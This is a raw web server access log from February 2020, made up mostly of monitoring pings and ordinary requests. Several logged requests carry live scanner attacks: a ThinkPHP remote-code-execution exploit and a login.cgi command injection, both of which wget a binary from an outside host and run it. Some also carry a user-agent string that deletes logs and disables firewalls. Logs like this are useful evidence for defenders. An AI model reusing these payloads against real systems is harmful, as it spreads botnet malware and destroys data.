177.152.159.33 - - [21/Feb/2020:12:12:20 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [21/Feb/2020:12:12:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
124.43.8.138 - - [21/Feb/2020:12:13:31 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [21/Feb/2020:12:13:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
186.66.13.90 - - [21/Feb/2020:12:14:11 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [21/Feb/2020:12:14:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
115.20.222.185 - - [21/Feb/2020:12:14:33 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
115.20.222.185 - - [21/Feb/2020:12:14:36 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
115.20.222.185 - - [21/Feb/2020:12:14:42 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
115.20.222.185 - - [21/Feb/2020:12:14:54 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
115.20.222.185 - - [21/Feb/2020:12:15:18 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [21/Feb/2020:12:15:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:12:16:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:12:17:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:12:18:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:12:19:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
211.192.224.217 - - [21/Feb/2020:12:20:26 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
211.192.224.217 - - [21/Feb/2020:12:20:29 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [21/Feb/2020:12:20:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
211.192.224.217 - - [21/Feb/2020:12:20:35 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
5.59.105.242 - - [21/Feb/2020:12:20:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
211.192.224.217 - - [21/Feb/2020:12:20:51 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
211.192.224.217 - - [21/Feb/2020:12:21:12 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [21/Feb/2020:12:21:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.52.45.87 - - [21/Feb/2020:12:22:14 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [21/Feb/2020:12:22:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
92.45.192.156 - - [21/Feb/2020:12:22:53 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
212.91.246.72 - - [21/Feb/2020:12:23:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:12:24:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:12:25:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:12:26:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:12:27:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:12:28:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:12:29:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.152.6.58 - - [21/Feb/2020:12:29:57 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
45.152.6.58 - - [21/Feb/2020:12:30:05 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
45.152.6.58 - - [21/Feb/2020:12:30:07 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
45.152.6.58 - - [21/Feb/2020:12:30:25 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
212.91.246.72 - - [21/Feb/2020:12:30:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.152.6.58 - - [21/Feb/2020:12:30:58 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
212.91.246.72 - - [21/Feb/2020:12:31:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
98.28.219.23 - - [21/Feb/2020:12:32:03 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
212.91.246.72 - - [21/Feb/2020:12:32:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:12:33:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:12:34:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:12:35:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.152.6.58 - - [21/Feb/2020:12:36:09 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
39.74.231.179 - - [21/Feb/2020:12:36:17 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
45.152.6.58 - - [21/Feb/2020:12:36:18 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
212.91.246.72 - - [21/Feb/2020:12:36:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:12:37:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:12:38:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:12:39:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.143.220.167 - - [21/Feb/2020:12:39:47 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [21/Feb/2020:12:40:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.152.6.58 - - [21/Feb/2020:12:41:32 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
212.91.246.72 - - [21/Feb/2020:12:41:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.152.6.58 - - [21/Feb/2020:12:42:30 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
212.91.246.72 - - [21/Feb/2020:12:42:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.152.6.58 - - [21/Feb/2020:12:42:57 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
41.221.64.31 - - [21/Feb/2020:12:43:17 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
222.186.19.221 - - [21/Feb/2020:12:43:20 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
212.91.246.72 - - [21/Feb/2020:12:43:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
222.186.19.221 - - [21/Feb/2020:12:44:21 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
212.91.246.72 - - [21/Feb/2020:12:44:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:12:45:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:12:46:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:12:47:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:12:48:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
222.186.19.221 - - [21/Feb/2020:12:48:52 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
212.91.246.72 - - [21/Feb/2020:12:49:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:12:50:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
222.186.19.221 - - [21/Feb/2020:12:51:01 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
212.91.246.72 - - [21/Feb/2020:12:51:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:12:52:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
52.91.40.152 - - [21/Feb/2020:12:53:25 +0100] "\x16\x03\x01\x01D\x01" 501 321 "-" "-"
222.186.19.221 - - [21/Feb/2020:12:53:26 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
212.91.246.72 - - [21/Feb/2020:12:53:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:12:54:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
222.186.19.221 - - [21/Feb/2020:12:55:31 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
212.91.246.72 - - [21/Feb/2020:12:55:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:12:56:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:12:57:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
178.216.25.120 - - [21/Feb/2020:12:58:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [21/Feb/2020:12:58:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
78.140.45.226 - - [21/Feb/2020:12:59:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [21/Feb/2020:12:59:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:13:00:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:13:01:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:13:02:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:13:03:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:13:04:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
222.186.19.221 - - [21/Feb/2020:13:05:28 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
212.91.246.72 - - [21/Feb/2020:13:05:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
189.90.211.70 - - [21/Feb/2020:13:05:58 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [21/Feb/2020:13:06:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
222.186.19.221 - - [21/Feb/2020:13:07:28 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
212.91.246.72 - - [21/Feb/2020:13:07:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
113.24.83.36 - - [21/Feb/2020:13:07:48 +0100] "HEAD http://123.125.114.144/ HTTP/1.1" 200 - "-" "Mozilla/5.01715179 Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36 OPR/55.0.2994.44"
212.91.246.72 - - [21/Feb/2020:13:08:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:13:09:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:13:10:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:13:11:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:13:12:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:13:13:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
222.186.19.221 - - [21/Feb/2020:13:13:52 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
212.91.246.72 - - [21/Feb/2020:13:14:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:13:15:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:13:16:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
171.34.177.187 - - [21/Feb/2020:13:17:27 +0100] "GET http://www.minghui.org/ HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
221.11.51.20 - - [21/Feb/2020:13:17:28 +0100] "GET http://www.epochtimes.com/ HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
221.213.75.71 - - [21/Feb/2020:13:17:30 +0100] "GET http://www.wujieliulan.com/ HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
119.39.47.189 - - [21/Feb/2020:13:17:31 +0100] "GET http://www.rfa.org/english/ HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
39.71.157.103 - - [21/Feb/2020:13:17:31 +0100] "CONNECT www.voanews.com:443 HTTP/1.1" 405 345 "-" "PycURL/7.43.0 libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3"
124.88.113.142 - - [21/Feb/2020:13:17:32 +0100] "CONNECT www.ipip.net:443 HTTP/1.1" 405 342 "-" "PycURL/7.43.0 libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3"
212.91.246.72 - - [21/Feb/2020:13:17:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
111.224.249.95 - - [21/Feb/2020:13:17:34 +0100] "CONNECT cn.bing.com:443 HTTP/1.1" 405 341 "-" "PycURL/7.43.0 libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3"
220.200.152.195 - - [21/Feb/2020:13:17:40 +0100] "CONNECT www.baidu.com:443 HTTP/1.1" 405 343 "-" "PycURL/7.43.0 libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3"
212.91.246.72 - - [21/Feb/2020:13:18:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:13:19:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
177.156.246.173 - - [21/Feb/2020:13:20:22 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
79.187.172.218 - - [21/Feb/2020:13:20:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [21/Feb/2020:13:20:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:13:21:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:13:22:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:13:23:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
81.215.212.192 - - [21/Feb/2020:13:24:07 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
212.91.246.72 - - [21/Feb/2020:13:24:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:13:25:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:13:26:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:13:27:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:13:28:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:13:29:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:13:30:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:13:31:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:13:32:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
168.197.155.2 - - [21/Feb/2020:13:33:07 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [21/Feb/2020:13:33:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:13:34:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.234.170.188 - - [21/Feb/2020:13:35:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [21/Feb/2020:13:35:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
121.178.8.198 - - [21/Feb/2020:13:35:40 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
